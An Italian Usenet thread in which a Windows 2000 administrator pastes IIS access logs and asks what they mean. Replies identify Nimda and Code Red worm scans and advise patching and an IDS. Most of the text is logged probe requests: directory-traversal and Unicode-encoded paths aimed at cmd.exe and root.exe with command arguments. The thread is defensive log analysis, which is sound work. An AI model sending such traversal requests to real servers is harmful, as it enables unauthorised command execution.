Newsgroup: it.comp.os.win.win2000
Titolo: Problema di sicurezza ???

Ciao,
vorrei che mi aiutaste a capire il significato del seguente frammento di 
Log di IIS.
Immagino che qualcuno si stia divertendo con il mio server e, se così 
fosse potreste indicarmi cosa fare per eliminare il problema?
La macchina è dietro firewall, IIS è l'unico servizio attivo, I servizi 
M$ sono stati disattivati.
Cosa potrebbe causare una situazione del genere?
Se esiste documentazione in tal senso potreste indicarmela?
Grazie 1000
Vi allego il pezzo di Log
2002-10-07 10:11:44 80.135.87.73 - 192.168.7.12 80 HEAD /Default.htm - 
200 -
2002-10-07 11:26:06 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/root.exe /c+dir 404 -
2002-10-07 11:26:08 213.42.191.50 - 192.168.7.12 80 GET /MSADC/root.exe 
/c+dir 404 -
2002-10-07 11:26:09 213.42.191.50 - 192.168.7.12 80 GET 
/c/winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:10 213.42.191.50 - 192.168.7.12 80 GET 
/d/winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:12 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:13 213.42.191.50 - 192.168.7.12 80 GET 
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:14 213.42.191.50 - 192.168.7.12 80 GET 
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:16 213.42.191.50 - 192.168.7.12 80 GET 
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe 
/c+dir 404 -
2002-10-07 11:26:17 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..Á../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:19 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:20 213.42.191.50 - 192.168.7.12 80 GET 
/winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:22 213.42.191.50 - 192.168.7.12 80 GET 
/winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:23 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:25 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:26 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-10-07 11:26:27 213.42.191.50 - 192.168.7.12 80 GET 
/scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -

Direi che qualcuno sta sfruttando delle vecchie vulnerabilità (Unicode
Malformed e compagnia bella) in quanto sistemista dovresti preoccuparti di
pattchare la macchina, se la macchina è patchata allora i furboni ci possono
provare all'infinito senza che tu ti preoccuppi.
Non hai un IDS (intrusion detection system) sulla rete? oppure che tipo di
firewall hai? Puoi impostare delle stinghe di context analisys?
Se non hai strumenti di questo genere ci puoi fare ben poco a parte patchare
la macchina il più frequentemente possibile.
Ciao

Vai su
www.google.it
poi cerca la parola NIMDA
e, se non trovi soddisfazione, cerca anche la parola
CODE RED (mond, eh eh eh)
Danny
P.S. pazzesco che a piu' di un anno dalla scoperta di sti worm
vi siano ancora server infetti collegati ad internet che sparano
richieste a destra e a manca.

E cmq non credo che tu abbia problemi,
nel log appare 404 che se non vado errato
dovrebbe corrispondere a "File Not Found".
2002-10-07 11:26:06 213.42.191.50 - 192.168.7.12 80 GET
/scripts/root.exe /c+dir 404 -
Dovresti chiedere allo sceicco arabo  proprietario del server 213.42.191.50
di disinfestare il server dal NIMDA, visto che ti spara ste richieste ;-)
Danny

Il problema del Nimda č ancora apertissimo, le macchine in questione
sembrano essere negli emirati arabi( 213.42.190.128 - 213.42.191.255
(WAM-EMIRNET)	WAM; P.O.BOX 3790, ABU DHABI , UAE; AE) risultato del ripe
inoltre sembrano essere macchine ghost ovvero non rispondono a nessun scan
quindi sembra difficile che possano essere infettate non essendo
raggiungibili via internet anche se la frequenza dei log č di una linea al
secondo, c'č da pensare che sia un qualche automatismo e non una persona in
carne ed ossa!!!

Dunque , per quanto riguarda le patch credo di averle installate tutte.
La macchina č nuova nuova (l'ho messa on-line Giovedė !!!), ho 
installato la SP3 e tutti gli aggiornamenti segnalatomi (!) da Windows 
Update.
Come firewall sto provando un 3Way ma temo che non possa essermi di 
aiuto in tal senso.
Ha on-board un dispositivo IDS, ora provo a metterlo in funzione.
Non so cosa siano, purtroppo le stringhe di context analisys.
Con questo tipo di falle, a che problemi posso andare incontro??
Ho riscontrato anche quest'altro in un log precedente:
2001-12-10 00:05:09 80.137.205.90 - 192.168.7.12 80 HEAD /MSADC/root.exe 
/c+dir+c:\ 404 -
2001-12-10 00:05:12 80.137.205.90 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:18 80.137.205.90 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:23 80.137.205.90 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:36 80.137.205.90 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:39 80.137.205.90 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:42 80.137.205.90 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:45 80.137.205.90 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:48 80.137.205.90 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:51 80.137.205.90 - 192.168.7.12 80 HEAD 
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:05:57 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:06:08 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:06:08 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:06:14 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:06:21 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2001-12-10 00:06:24 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:27 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:30 80.137.205.90 - 192.168.7.12 80 HEAD 
/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:06:33 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:40 80.137.205.90 - 192.168.7.12 80 HEAD 
/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:06:43 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:46 80.137.205.90 - 192.168.7.12 80 HEAD 
/c/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:49 80.137.205.90 - 192.168.7.12 80 HEAD 
/cgi-bin/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 
404 -
2001-12-10 00:06:53 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:06:56 80.137.205.90 - 192.168.7.12 80 HEAD 
/d/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:02 80.137.205.90 - 192.168.7.12 80 HEAD 
/iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:07:05 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:08 80.137.205.90 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:11 80.137.205.90 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:17 80.137.205.90 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:20 80.137.205.90 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:24 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:27 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:33 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:46 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:49 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:52 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:07:55 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:07:59 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:02 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..o../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:05 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..Á%pc../..Á%pc../..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:08 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:14 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:17 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:20 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..ðĪĪŊ../..ðĪĪŊ../..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:24 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:27 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..øĪĪĪŊ../..øĪĪĪŊ../..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 
404 -
2001-12-10 00:08:30 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:33 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:36 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:39 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:43 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:45 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:51 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:54 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:08:57 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%2f../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:00 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:03 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:05 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:08 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:14 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Á..Á..Á..Áwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:17 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:20 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Ā%9v../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:22 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:25 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Ā%qf../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:28 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:31 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Á%8s../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:34 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:37 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..o../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:40 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:43 80.137.205.90 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:46 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:49 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:55 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/..üĪĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:09:58 80.137.205.90 - 192.168.7.12 80 HEAD 
/scripts/root.exe /c+dir+c:\ 404 -
2001-12-10 00:10:01 80.137.205.90 - 192.168.7.12 80 HEAD 
/msadc/..üĪĪĪĪŊ../..üĪĪĪĪŊ../..üĪĪĪĪŊ../winnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:21:58 217.1.67.105 - 192.168.7.12 80 HEAD /Default.htm - 
200 -
2001-12-10 00:21:58 217.1.67.105 - 192.168.7.12 80 HEAD /MSADC/root.exe 
/c+dir+c:\ 404 -
2001-12-10 00:21:59 217.1.67.105 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:21:59 217.1.67.105 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:10 217.1.67.105 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:10 217.1.67.105 - 192.168.7.12 80 HEAD 
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:14 217.1.67.105 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:18 217.1.67.105 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:22 217.1.67.105 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:22 217.1.67.105 - 192.168.7.12 80 HEAD 
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:23 217.1.67.105 - 192.168.7.12 80 HEAD 
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:23 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:22:25 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:22:25 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:22:27 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 
500 -
2001-12-10 00:22:27 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2001-12-10 00:22:37 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:37 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:39 217.1.67.105 - 192.168.7.12 80 HEAD 
/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:22:39 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:40 217.1.67.105 - 192.168.7.12 80 HEAD 
/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:22:50 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:50 217.1.67.105 - 192.168.7.12 80 HEAD 
/c/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:22:54 217.1.67.105 - 192.168.7.12 80 HEAD 
/cgi-bin/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 
404 -
2001-12-10 00:22:58 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:02 217.1.67.105 - 192.168.7.12 80 HEAD 
/d/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:02 217.1.67.105 - 192.168.7.12 80 HEAD 
/iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:23:07 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:07 217.1.67.105 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:09 217.1.67.105 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:09 217.1.67.105 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:10 217.1.67.105 - 192.168.7.12 80 HEAD 
/msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:10 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:11 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:11 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:13 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:13 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:15 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:15 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe 
/c+dir+c:\ 404 -
2001-12-10 00:23:17 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:20 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..o../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:24 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..Á%pc../..Á%pc../..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:28 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:28 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:30 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:30 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..ðĪĪŊ../..ðĪĪŊ../..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:35 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:35 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..øĪĪĪŊ../..øĪĪĪŊ../..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 
404 -
2001-12-10 00:23:36 217.1.67.105 - 192.168.7.12 80 HEAD 
/msadc/..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:36 217.1.67.105 - 192.168.7.12 80 HEAD 
/samples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 
404 -
2001-12-10 00:23:41 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:41 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:43 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:43 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:45 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:49 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:49 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:53 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%2f../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:53 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:58 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:58 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:23:59 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:03 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..Á..Á..Á..Áwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:03 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:05 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..Ā%9v../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:05 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:09 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..Ā%qf../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:09 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:35 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:35 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..o../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:45 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:45 217.1.67.105 - 192.168.7.12 80 HEAD 
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:47 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..ðĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:47 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..øĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:48 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/..üĪĪĪĪŊ../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2001-12-10 00:24:48 217.1.67.105 - 192.168.7.12 80 HEAD 
/scripts/root.exe /c+dir+c:\ 404 -
2001-12-10 00:25:35 217.1.67.105 - 192.168.7.12 80 HEAD 
